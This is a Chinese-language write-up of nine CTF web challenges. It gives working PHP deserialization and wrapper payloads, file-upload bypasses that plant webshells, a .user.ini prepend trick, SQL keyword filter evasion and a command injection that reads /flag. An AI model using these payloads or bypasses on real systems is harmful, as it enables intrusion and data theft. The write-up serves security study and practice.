1.NiZhuangSiWei
知识点:
php://input,php://filter,文件包含,序列化
赛题代码:
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
根据代码这里有三个需要绕过的地方,
1.file_get_contents($text,'r')==='welcome to the zjctf'
,file_get_contents()函数是将文件内容读取到变量,而这里是从变量读取,所以可以考虑data://或者php://input协议进行绕过
payload1:text=php://input
,然后再使用burp或者hackbar POST字符串‘welcome to the zjctf’
payload2:text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
2.include($file)//useless.php
文件包含,后面又有一个提示useless.php
,尝试使用php://filter
读取一下该文件的内容,
解密后的useless.php
3.根据useless.php里面的__tostring()函数(如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据)和$password = unserialize($password); echo $password;
可以构造payload将flag.php打印出来payload:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo urlencode(serialize($a));
?>
//password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
结合上面三个绕过得到最终payload:
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7
2.Buy You Flag
在menu栏进入到pay.php之后,f12发现注释里面有东西
burp抓包进行post money和password
发现提示只有Cuit的学生才可以buy the Flag,再看COOKIE:user=0,果断改为1,
但是这里又提示,密码长度太长了,尝试改为科学计数法
拿到flag,网上关于密码长度绕过的方法说是采用strcmp()函数进行比较的,该函数在php5.3.5之前存在漏洞,所以可以绕过,money[]=1也可以拿到flag。
3.Upload
打开赛题,发现是文件上传,上传1.php并同时进行抓包,结果发现抓不到包,前端还是弹出请上传jpg,png,gif结尾的文件,看来是前端js校验了,把js禁用之后成功抓到包
发现返回的结果是badfile,看来是文件类型不对,尝试修改filename,改为phtml时上传成功,使用蚁剑连接,拿到flag。
4.BackupFile
御剑扫描发现index.php,但是题目说是backfile猜测是备份文件,index.php.bak,下载下来后,进行分析
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
弱类型比较,easy,payload:key=123
,拿到flag。
弱类型比较时,如果进行比较的是数类型和字符类型,会将字符串转化为数字,转化规则为取最前面的数字,比如‘123asa’–>123
5.Upload
文件上传类型,上传1.php同时进行抓包,
修改Content-Type:image/jpeg
再来尝试修改filename,php3,php5,phtml,phP,最终改为phtml时,出现新东西
提示上传的文件包含<?,?>所以继续将一句话木马改为脚本形式
又出现新提示,还说不是图片,可能是对上传内容也进行了检测,再加一个GIF89a,成功上传
猜测上传路径是uploa/1.phtml,使用蚁剑连接拿到flag。
6.CheckIn
一番折腾之后,成功上传了图片马。但是如何让php去执行我的图片马嘞?(经过尝试使用%00截断无法实现,可能php版本高于5.3.4,无截断漏洞存在)
这里有两种思路,一种是利用.htaccess,一种是利用.user.ini,但是由于该服务器是nginx,.htaccess无法利用,而.user.ini的使用条件是CGI/FastCGI 模式的服务器上都可以使用.user.ini。所以尝试使用它。
所以现在可上传一个.user.ini后再传一个图片马,即可拿到shell,
.user.ini制作:
GIF89a
auto_prepend_file=1.jpg
两者上传成功后使用蚁剑连接即可
http://ee69dd7a-6399-4e63-85a6-ed42cfe22930.node3.buuoj.cn/uploads/04b0951938d905b41348c1548f9c338b/index.php
7.BabySQL
过滤了or,and,from,union,select,by,where这些关键字,采用双写绕过即可,注入类型为数字型注入。
8.Http
Referer,User-Agent,X-Forwarded-For三个http头的利用。
9.Exec
命令执行,127.0.0.1|cat /flag,拿到flag